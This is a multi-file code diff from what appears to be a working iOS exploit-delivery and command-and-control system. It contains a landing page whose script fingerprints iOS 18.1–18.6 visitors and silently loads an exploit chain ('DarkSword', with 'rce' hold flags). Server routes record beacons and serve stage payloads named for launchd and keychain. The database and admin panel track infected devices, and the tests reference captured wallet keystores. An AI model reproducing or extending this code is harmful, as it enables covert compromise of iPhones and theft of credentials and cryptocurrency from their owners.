var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
<script>
(function () {
var TOTAL = 15;
+125 -1
View File
@@ -7,6 +7,130 @@
<title>weifile</title>
</head>
<body>
<script type="text/javascript" src="route.js"></script>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
</body>
</html>
+3 -10
View File
@@ -202,15 +202,6 @@ def normalize_landing_template(value: str | None) -> str:
return template
def ensure_route_js(weifile_dir: Path) -> Path:
src = xxbb_build.SOURCE_WEIFILE / "route.js"
if not src.is_file():
raise SystemExit(f"missing weifile router: {src}")
dest = weifile_dir / "route.js"
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
return dest
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
template = normalize_landing_template(template)
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
@@ -282,7 +273,9 @@ def pack_channel(
encoding="utf-8",
)
apply_landing_template(weifile_dest, landing_template)
ensure_route_js(weifile_dest)
leftover_route = weifile_dest / "route.js"
if leftover_route.is_file():
leftover_route.unlink()
if channel_out.exists():
shutil.rmtree(channel_out)
+20 -16
View File
@@ -83,18 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((artifact / "weifile").exists())
self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file())
self.assertTrue((weifile / "route.js").is_file())
self.assertFalse((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8")
route = (weifile / "route.js").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html)
self.assertIn("route.js", html)
self.assertIn("location.pathname", route)
self.assertIn("/next-chain", route)
self.assertIn("boot.js", route)
self.assertIn("10 * 60 * 1000", route)
self.assertNotIn("channeICode", route)
self.assertIn("index.js", route)
self.assertNotIn('src="route.js"', html)
self.assertIn("location.pathname", html)
self.assertIn("/next-chain", html)
self.assertIn("config.js", html)
self.assertIn("holdFresh", html)
self.assertIn("10 * 60 * 1000", html)
self.assertNotIn("channeICode", html)
self.assertIn("index.js", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js)
@@ -321,15 +321,19 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(stripped, "head;")
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
self.assertIn('/t.js', html)
route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8")
self.assertIn("location.pathname", route)
self.assertIn("/next-chain", route)
self.assertIn("boot.js", route)
self.assertIn("10 * 60 * 1000", route)
self.assertNotIn("channeICode", route)
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn("route.js", landing)
self.assertNotIn('src="route.js"', landing)
self.assertIn("location.pathname", landing)
self.assertIn("/next-chain", landing)
self.assertIn("config.js", landing)
self.assertIn("boot.js", landing)
self.assertNotIn("__LAB_RUN_BOOT__", landing)
self.assertNotIn("iframe", landing)
self.assertIn("holdFresh", landing)
self.assertIn("10 * 60 * 1000", landing)
self.assertNotIn("channeICode", landing)
self.assertNotIn('src="index.js"', landing)
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
@@ -0,0 +1,76 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasTable('devices') || Schema::hasColumn('devices', 'chain')) {
return;
}
Schema::table('devices', function (Blueprint $table) {
$table->unsignedTinyInteger('chain')->default(1)->after('device_id');
});
if (Schema::hasColumn('devices', 'family')) {
foreach (DB::table('devices')->select('id', 'family')->cursor() as $row) {
$raw = strtolower(trim((string) $row->family));
$code = in_array($raw, ['darksword', '2'], true) ? 2 : 1;
DB::table('devices')->where('id', $row->id)->update(['chain' => $code]);
}
try {
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['family']);
});
} catch (Throwable) {
}
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('family');
});
}
Schema::table('devices', function (Blueprint $table) {
$table->index('chain');
});
}
public function down(): void
{
if (! Schema::hasTable('devices') || ! Schema::hasColumn('devices', 'chain')) {
return;
}
if (! Schema::hasColumn('devices', 'family')) {
Schema::table('devices', function (Blueprint $table) {
$table->string('family', 32)->default('coruna')->after('device_id');
});
}
foreach (DB::table('devices')->select('id', 'chain')->cursor() as $row) {
$label = (int) $row->chain === 2 ? 'darksword' : 'coruna';
DB::table('devices')->where('id', $row->id)->update(['family' => $label]);
}
try {
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['chain']);
});
} catch (Throwable) {
}
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('chain');
});
Schema::table('devices', function (Blueprint $table) {
$table->index('family');
});
}
};
@@ -16,10 +16,10 @@
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="family">
<select name="chain">
<option value="">全部</option>
<option value="coruna">Coruna</option>
<option value="darksword">DarkSword</option>
<option value="1">Coruna</option>
<option value="2">DarkSword</option>
</select>
</div>
</div>
@@ -119,8 +119,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
var ds = d.family === 'darksword';
{ field: 'chain', title: '利用链', width: 120, templet: function (d) {
var ds = Number(d.chain) === 2;
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
+1 -1
View File
@@ -19,7 +19,7 @@
<tr>
<th>利用链</th>
<td colspan="3">
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
@if ($device->isDarkSword())
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
+12 -20
View File
@@ -159,39 +159,31 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$args = ['python3', $script];
$host = trim((string) $this->option('host'));
$port = trim((string) $this->option('port'));
$origin = trim((string) $this->option('origin'));
if ($origin === '' && $host === '') {
$c2 = trim((string) $this->option('c2'));
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
$delivery = trim((string) $this->option('delivery'));
if ($origin === '') {
$origin = rtrim((string) config('app.url'), '/');
$this->warn('未传 --origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名');
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
}
if ($origin !== '') {
$args[] = '--origin';
$args[] = $origin;
}
if ($host !== '') {
$args[] = '--host';
$args[] = $host;
}
if ($port !== '') {
$args[] = '--port';
$args[] = $port;
$args = ['python3', $script, '--c2', $origin];
if ($delivery !== '') {
$args[] = '--delivery';
$args[] = $delivery;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Rewrite DarkSword source and publish public/next-chain');
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
+3 -1
View File
@@ -12,7 +12,9 @@ Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+26 -30
View File
@@ -53,7 +53,7 @@ class DarkSwordC2ApiTest extends TestCase
}
#[Test]
public function log_with_stage_writes_chain_log_and_dedups(): void
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
@@ -65,31 +65,24 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(1, DsChainLog::query()->count());
$row = DsChainLog::query()->first();
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('loader', $row->stage);
$this->assertSame(18, $row->progress);
$this->assertSame('BODOZR5F613N9', $row->channel_id);
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function log_infers_stage_and_ignores_noise(): void
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
@@ -102,13 +95,15 @@ class DarkSwordC2ApiTest extends TestCase
'chain' => 'darksword',
]);
$this->get('/log.html?text=lab')
->assertOk()
->assertSee('ok', false);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
}
#[Test]
@@ -116,7 +111,8 @@ class DarkSwordC2ApiTest extends TestCase
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk()
->assertSee('ok', false);
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
@@ -133,7 +129,7 @@ class DarkSwordC2ApiTest extends TestCase
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('ok', false);
->assertSee('__peStage2', false);
$this->assertSame(2, DsChainLog::query()->count());
}
@@ -150,7 +146,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
@@ -170,7 +166,7 @@ class DarkSwordC2ApiTest extends TestCase
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
@@ -180,7 +176,7 @@ class DarkSwordC2ApiTest extends TestCase
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
$this->assertSame(2, Device::query()->count());
}
@@ -232,7 +228,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
@@ -473,7 +469,7 @@ class DarkSwordC2ApiTest extends TestCase
]);
$device = Device::query()->create([
'device_id' => 'reprocess-trust-utc',
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
@@ -600,7 +596,7 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
@@ -708,7 +704,7 @@ class DarkSwordC2ApiTest extends TestCase
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -740,7 +736,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -786,7 +782,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
@@ -856,7 +852,7 @@ class DarkSwordC2ApiTest extends TestCase
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,